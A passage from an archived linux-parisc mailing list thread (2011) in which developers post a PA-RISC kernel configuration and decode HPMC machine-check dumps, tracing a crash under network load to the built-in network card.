 CONFIG_NEED_DMA_MAP_STATE=y
 CONFIG_NEED_SG_DMA_LENGTH=y
 CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
+CONFIG_CONSTRUCTORS=y
 CONFIG_HAVE_IRQ_WORK=y
 CONFIG_IRQ_WORK=y

@@ -114,6 +115,7 @@
 #
 # GCOV-based kernel profiling
 #
+CONFIG_GCOV_KERNEL=y
 # CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
 CONFIG_SLABINFO=y
 CONFIG_RT_MUTEXES=y
@@ -1524,7 +1528,7 @@
 CONFIG_MAGIC_SYSRQ=y
 CONFIG_STRIP_ASM_SYMS=y
 # CONFIG_UNUSED_SYMBOLS is not set
-# CONFIG_DEBUG_FS is not set
+CONFIG_DEBUG_FS=y
 CONFIG_HEADERS_CHECK=y
 # CONFIG_DEBUG_SECTION_MISMATCH is not set
 CONFIG_DEBUG_KERNEL=y

Without this change I can reproduce the problem also on 3.1. Config follow.

Eike

CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_HAVE_IRQ_WORK=y
CONFIG_IRQ_WORK=y
CONFIG_EXPERIMENTAL=y
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
CONFIG_LOCALVERSION=""
CONFIG_DEFAULT_HOSTNAME="voyager.sf-tec.de"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_FHANDLE=y
CONFIG_HAVE_GENERIC_HARDIRQS=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_TINY_RCU=y
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=16
CONFIG_NAMESPACES=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_PERF_EVENTS=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_SLAB=y
CONFIG_HAVE_OPROFILE=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_LBDAF=y
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
CONFIG_DEFAULT_CFQ=y
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_INLINE_SPIN_UNLOCK=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_PREEMPT_VOLUNTARY=y
CONFIG_HZ_250=y
CONFIG_HZ=250
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_NEED_PER_CPU_KM=y
CONFIG_CLEANCACHE=y
CONFIG_PCI=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
CONFIG_HOTPLUG_PCI=m
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y
CONFIG_BINFMT_ELF=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_NET=y
CONFIG_PACKET=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=y
CONFIG_INET_XFRM_MODE_TUNNEL=y
CONFIG_INET_XFRM_MODE_BEET=y
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
CONFIG_IPV6=m
CONFIG_INET6_IPCOMP=m
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
CONFIG_NETFILTER=y
CONFIG_NETFILTER_DEBUG=y
CONFIG_NET_PKTGEN=m
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_UMEM=m
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8
CONFIG_BLK_DEV_CRYPTOLOOP=m
CONFIG_MISC_DEVICES=y
CONFIG_HAVE_IDE=y
CONFIG_IDE=y
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
CONFIG_IDE_GD=y
CONFIG_IDE_GD_ATA=y
CONFIG_BLK_DEV_IDECD=m
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
CONFIG_IDE_PROC_FS=y
CONFIG_BLK_DEV_IDEDMA_SFF=y
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_BLK_DEV_IDEDMA_PCI=y
CONFIG_BLK_DEV_NS87415=m
CONFIG_BLK_DEV_SIIMAGE=m
CONFIG_BLK_DEV_IDEDMA=y
CONFIG_SCSI_MOD=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_PROC_FS=y
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=m
CONFIG_BLK_DEV_SR=m
CONFIG_CHR_DEV_SG=y
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_WAIT_SCAN=m
CONFIG_SCSI_SPI_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_LOWLEVEL=y
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=0
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
CONFIG_ATA=m
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_SATA_PMP=y
CONFIG_ATA_SFF=y
CONFIG_ATA_BMDMA=y
CONFIG_SATA_VIA=m
CONFIG_PATA_VIA=m
CONFIG_MD=y
CONFIG_BLK_DEV_DM=m
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
CONFIG_DM_ZERO=m
CONFIG_DM_UEVENT=y
CONFIG_NETDEVICES=y
CONFIG_DUMMY=m
CONFIG_BONDING=m
CONFIG_TUN=m
CONFIG_MII=m
CONFIG_NET_ETHERNET=y
CONFIG_NET_TULIP=y
CONFIG_DE2104X=m
CONFIG_DE2104X_DSL=0
CONFIG_TULIP=y
CONFIG_TULIP_MMIO=y
CONFIG_NET_PCI=y
CONFIG_INPUT=y
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1600
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=1200
CONFIG_INPUT_KEYBOARD=y
CONFIG_INPUT_MOUSE=y
CONFIG_SERIO=m
CONFIG_SERIO_SERPORT=m
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=13
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_RAW_DRIVER=y
CONFIG_MAX_RAW_DEVS=256
CONFIG_DEVPORT=y
CONFIG_SSB_POSSIBLE=y
CONFIG_BCMA_POSSIBLE=y
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=1
CONFIG_VIDEO_OUTPUT_CONTROL=m
CONFIG_FB=y
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
CONFIG_FB_STI=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
CONFIG_STI_CONSOLE=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_LOGO=y
CONFIG_LOGO_PARISC_CLUT224=y
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_SEQUENCER=y
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
CONFIG_SND_VMASTER=y
CONFIG_SND_AC97_CODEC=y
CONFIG_SND_DRIVERS=y
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=y
CONFIG_AC97_BUS=y
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_USB_HID=y
CONFIG_USB_HIDDEV=y
CONFIG_HID_A4TECH=y
CONFIG_HID_APPLE=y
CONFIG_HID_BELKIN=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_EZKEY=y
CONFIG_HID_KYE=y
CONFIG_HID_KENSINGTON=y
CONFIG_HID_LOGITECH=y
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
CONFIG_USB_DEBUG=y
CONFIG_USB_DEVICEFS=y
CONFIG_USB_DEVICE_CLASS=y
CONFIG_USB_OHCI_HCD=y
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_STORAGE=m
CONFIG_USB_STORAGE_USBAT=m
CONFIG_USB_STORAGE_SDDR09=m
CONFIG_USB_STORAGE_SDDR55=m
CONFIG_USB_STORAGE_JUMPSHOT=m
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_DRV_GENERIC=y
CONFIG_EXT2_FS=y
CONFIG_EXT3_FS=y
CONFIG_EXT4_FS=m
CONFIG_EXT4_FS_XATTR=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_JBD=y
CONFIG_JBD2=m
CONFIG_FS_MBCACHE=m
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_FAT_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_MISC_FILESYSTEMS=y
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=y
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_UTF8=m
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=1024
CONFIG_MAGIC_SYSRQ=y
CONFIG_STRIP_ASM_SYMS=y
CONFIG_HEADERS_CHECK=y
CONFIG_DEBUG_KERNEL=y
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
CONFIG_SCHED_DEBUG=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_RODATA=y
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y
CONFIG_CRYPTO_ALGAPI=m
CONFIG_CRYPTO_ALGAPI2=m
CONFIG_CRYPTO_AEAD2=m
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=m
CONFIG_CRYPTO_HASH=m
CONFIG_CRYPTO_HASH2=m
CONFIG_CRYPTO_RNG2=m
CONFIG_CRYPTO_PCOMP2=m
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=m
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_WORKQUEUE=m
CONFIG_CRYPTO_TEST=m
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_MD5=m
CONFIG_CRYPTO_BLOWFISH=m
CONFIG_CRYPTO_DES=m
CONFIG_CRYPTO_DEFLATE=m
CONFIG_BITREVERSE=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
CONFIG_CRC32=y
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y
CONFIG_GENERIC_ATOMIC64=y

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC running CMake Nightly tests
Date: Wed, 26 Oct 2011 10:16:42 -0600
Lines: 90
Approved: news@gmane.org
Message-ID: <20111026161641.GA32419@parisc-linux.org>
References: <d21336a9332d91f209ba666bd94f3acd.squirrel@webmail.sf-mail.de> <20111012043201.GA22657@parisc-linux.org> <335757fae9d67623b229652e74aba015.squirrel@webmail.sf-mail.de> <1c7b6eb5f6657272fe96ad90b79f215f.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1319645809 6735 80.91.229.12 (26 Oct 2011 16:16:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 26 Oct 2011 16:16:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 26 18:16:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RJ69l-0002or-6Z
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Oct 2011 18:16:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933330Ab1JZQQo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Oct 2011 12:16:44 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:34276 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933318Ab1JZQQn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Oct 2011 12:16:43 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id 50146494003; Wed, 26 Oct 2011 10:16:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1c7b6eb5f6657272fe96ad90b79f215f.squirrel@webmail.sf-mail.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4003>

On Fri, Oct 21, 2011 at 10:26:57AM +0200, Rolf Eike Beer wrote:
> Ok, I have another one. I removed all those parts that did not show any
> errors or where the register contents were all zeros.
> 
> Timestamp =
>   Thu Oct  20 09:05:52 GMT 2011    (20:11:10:20:09:05:52)
...
> System Responder Address     = 0x000000fff4008040

MMIO Address that wasn't responding.  Note that it's 40 bits.
The 32-bit address used by OS is "F-extended" by HW (CPU I think).


> System Requestor Address     = 0xfffffffffffa0000

Address of CPU that was requesting the MMIO address.

This is enough info to identify what I believe is the "victim".
It's not likely to be the root cause.

Historically, this type of HPMC happens because a device
attempted to DMA to an unmapped address and the IOMMU
went "fatal" (stopped routing traffic to PCI busses).


> '9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:
> 
> Check Summary                = 0xcb81041008000000
> Available Memory             = 0x0000000020000000
> CPU Diagnose Register 2      = 0x0301000000000004
> CPU Status Register 0        = 0x2420c20000000000
> CPU Status Register 1        = 0x8002000000000000
> SADD LOG                     = 0x4b023fd9e8190951
> Read Short LOG               = 0xc1af00fff4008040
> ERROR_STATUS                 = 0x0000000000100010
> MEM_ADDR                     = 0x000001ff3fffffff
> MEM_SYND                     = 0x0000000000000000
> MEM_ADDR_CORR                = 0x000001ff3fffffff
> MEM_SYND_CORR                = 0x0000000000000000
> RUN_DATA_HIGH                = 0xc1bff0fffed08040
> RUN_DATA_LOW                 = 0xc1bff0fffed08040
> RUN_CTRL                     = 0x0000021c00001418
> RUN_ADDR                     = 0xc1bff0fffed08040
> System Responder Path        = 0x00ffffff0a000c00

This part could yield another clue if we had the magic decoder ring. :(


> HPMC PIM Analysis Information:
> 
> Timestamp =
>   Thu Oct  20 09:05:52 GMT 2011    (20:11:10:20:09:05:52)
> 
> 
> '9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:
> 
> A Data I/O Fetch Timeout occurred while CPU 0 was
> requesting information from a device at the path 10/0/12/0 (built-in PCI
> device).

Doing "in io" at the BCH prompt should list all devices including 10/0/12/0
Google search is failing to find a posting with that content. :/


> '9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:
> 
>  Rope     Word1        Word2            Word3
> ------ ------------ ------------
>    0    0x00000000   0x0e0cc2a9   0x00000000fed30048
>    1    0x00000000   0x1e0cc009   0x00000000fed32048
>    2    ----------   0x2e0cc009   ------------------
>    3    ----------   0x3e0cc009   ------------------
>    4    0x00000000   0x4e0cc009   0x00000000fed38048
>    5    ----------   0x5e0cc009   ------------------
>    6    0x00000000   0x6e0cc009   0x00000000fed3c048
>    7    ----------   0x7e0cc009   ------------------

"HP c3750 | hp workstation c3700 and c3650 - service handbook" in a 
couple of different places says:
 "I/O Error log word 3 contains the error address"

I'm assuming this is just the last accessed address by that PCI bus.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: HPMC on network load (was: HPMC running CMake Nightly tests)
Date: Wed, 26 Oct 2011 19:54:26 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <6703531.MgfjS9MWsx@eto>
References: <d21336a9332d91f209ba666bd94f3acd.squirrel@webmail.sf-mail.de> <1c7b6eb5f6657272fe96ad90b79f215f.squirrel@webmail.sf-mail.de> <20111026161641.GA32419@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1507812.pheoENBnE0"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1319651701 19505 80.91.229.12 (26 Oct 2011 17:55:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 26 Oct 2011 17:55:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 26 19:54:57 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RJ7gn-0000Hf-H9
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Oct 2011 19:54:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933715Ab1JZRy4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Oct 2011 13:54:56 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:46225 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933351Ab1JZRy4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Oct 2011 13:54:56 -0400
Original-Received: (qmail 28475 invoked from network); 26 Oct 2011 17:54:53 -0000
Original-Received: from dslb-188-108-129-255.pools.arcor-ip.net ([::ffff:188.108.129.255] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Wed, 26 Oct 2011 19:54:53 +0200
User-Agent: KMail/4.7.2 (Linux/3.0.7-45-desktop; KDE/4.7.2; x86_64; ; )
In-Reply-To: <20111026161641.GA32419@parisc-linux.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4004
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4004>


--nextPart1507812.pheoENBnE0
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Grant Grundler write

> > HPMC PIM Analysis Information:
> > 
> > Timestamp =
> > 
> >   Thu Oct  20 09:05:52 GMT 2011    (20:11:10:20:09:05:52)
> > 
> > '9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304
> > bytes:
> > 
> > A Data I/O Fetch Timeout occurred while CPU 0 was
> > requesting information from a device at the path 10/0/12/0 (built-in PCI
> > device).
> 
> Doing "in io" at the BCH prompt should list all devices including 10/0/12/0
> Google search is failing to find a posting with that content. :/

IIRC it is the network card.

The last time I saw this was during "emerge --sync", which was hours away from 
the nightly CMake run. Since all traces point at the network card I think this 
really has nothing to do with CMake or CPU load at all.

Eike
--nextPart1507812.pheoENBnE0
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.16 (GNU/Linux)

iEYEABECAAYFAk6oSVIACgkQXKSJPmm5/E4yPwCeO/4P/dxlK8nDxGd53kSK53SF
VVUAoIXltHfZANPzSWY1wpr9apdKdRIo
=xnXw
-----END PGP SIGNATURE-----

--nextPart1507812.pheoENBnE0--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Fri, 28 Oct 2011 17:11:44 +0200
Lines: 136
Approved: news@gmane.org
Message-ID: <20111028171144.701d44b4@epia.jer-c2.orkz.net>
References: <201108191958.35802.eike-kernel@sf-tec.de>
	<a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
	<20110831154820.GH22818@bombadil.infradead.org>
	<20110831160419.GI22818@bombadil.infradead.org>
	<65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
	<74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
	<20110906134611.GA25825@bombadil.infradead.org>
	<20110906140029.GB25825@bombadil.infradead.org>
	<1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
	<20110906142025.GC25825@bombadil.infradead.org>
